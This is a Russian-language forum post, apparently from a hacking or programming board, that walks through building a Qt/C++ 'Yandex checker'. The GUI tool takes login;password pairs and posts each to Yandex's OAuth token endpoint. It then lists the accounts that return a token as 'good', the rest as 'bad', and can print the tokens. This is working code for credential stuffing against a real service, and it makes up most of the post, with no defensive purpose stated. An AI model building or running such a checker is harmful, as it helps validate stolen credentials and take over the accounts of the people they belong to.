Внимание! Изменены права пользователей. Активируйте свой аккаунт для возможности создавать темы на форуме!

Внимание! Набор кураторов завершен. Список администрации можно увидеть по ссылке.

Создать ответ 
 
Рейтинг темы:
  • Голосов: 0 - Средняя оценка: 0
  • 1
  • 2
  • 3
  • 4
  • 5
[C++]Создание Yandex Чейкера
SkyLord Не на форуме
Продвинутый
***

Сообщений: 191
У нас с: 28.03.2012
Рейтинг: 1
Вы сказали Спасибо: 0
Поблагодарили 35 раз(а) в 30 сообщениях
Сообщение: #1
[C++]Создание Yandex Чейкера
Сам чейкер будет выглядить примерно вот так:
[Изображение: E1oe.png]
Ну что начнём:
Подключаем проект к сети
Пропишем в .pro файле:
Код:
QT       += core gui network
А вот этот код в заголовочный файл проекта:
Код:
private:
    Ui::MainWindow *ui;
    QNetworkAccessManager manager;
    QNetworkReply *reply;
    QUrl apiUrl;
    QByteArray requestString;
    QString login;
    QString passwd;

private slots:
    void on_pushButton_clicked();
    void getToken();
    void parseToken();
Теперь две самые основные функции.
Код:
void MainWindow::getToken()
{
    QRegExp rx("(.+);(.+)");
    rx.indexIn(ui->lineEdit->text()); //ищем логин и пароль

    login = rx.cap(1); //логин
    passwd = rx.cap(2); //пароль

    QString loginstr = "&username=" + login;
    QString passwdstr = "&password=" + passwd;

    //OAuth

    apiUrl = "https://oauth.yandex.ru/token";

    requestString.append("grant_type=password");
    requestString.append("&client_id=YOU_API_ID");
    requestString.append(loginstr.toLatin1());
    requestString.append(passwdstr.toLatin1());

    QNetworkRequest request(apiUrl);

    reply = manager.post(request, requestString);
    connect(reply, SIGNAL(finished()),this, SLOT(parseToken())); //при завершении ответа запускаем функцию parseToken()
Код:
void MainWindow::parseToken()
{
    //Parse TOKEN

    QString source;
    source.append(QString::fromLocal8Bit(reply->readAll()));
    QRegExp rx("([a-z0-9]{31,32})");
    rx.indexIn(source);

    if (rx.cap(0) == "")
    {
        ui->plainTextEdit_2->appendPlainText(login + ";" + passwd); //если токен не найден, то пишем акк в бэды
    }
    else
    {
    ui->plainTextEdit->appendPlainText(login + ";" + passwd); //пишем в гуды
//также можно выводить и токен
//ui.plainTextEdit.appendPlainText("[TOKEN] : " + rx.cap(0));
    }
И конечно вызов:
Код:
PHP код:
void MainWindow::on_pushButton_clicked()
{
    getToken();
}
28-03-2012 05:30
Найти все сообщения Цитировать это сообщение
Создать ответ 


Переход:


Пользователи просматривают эту тему: 1 Гость(ей)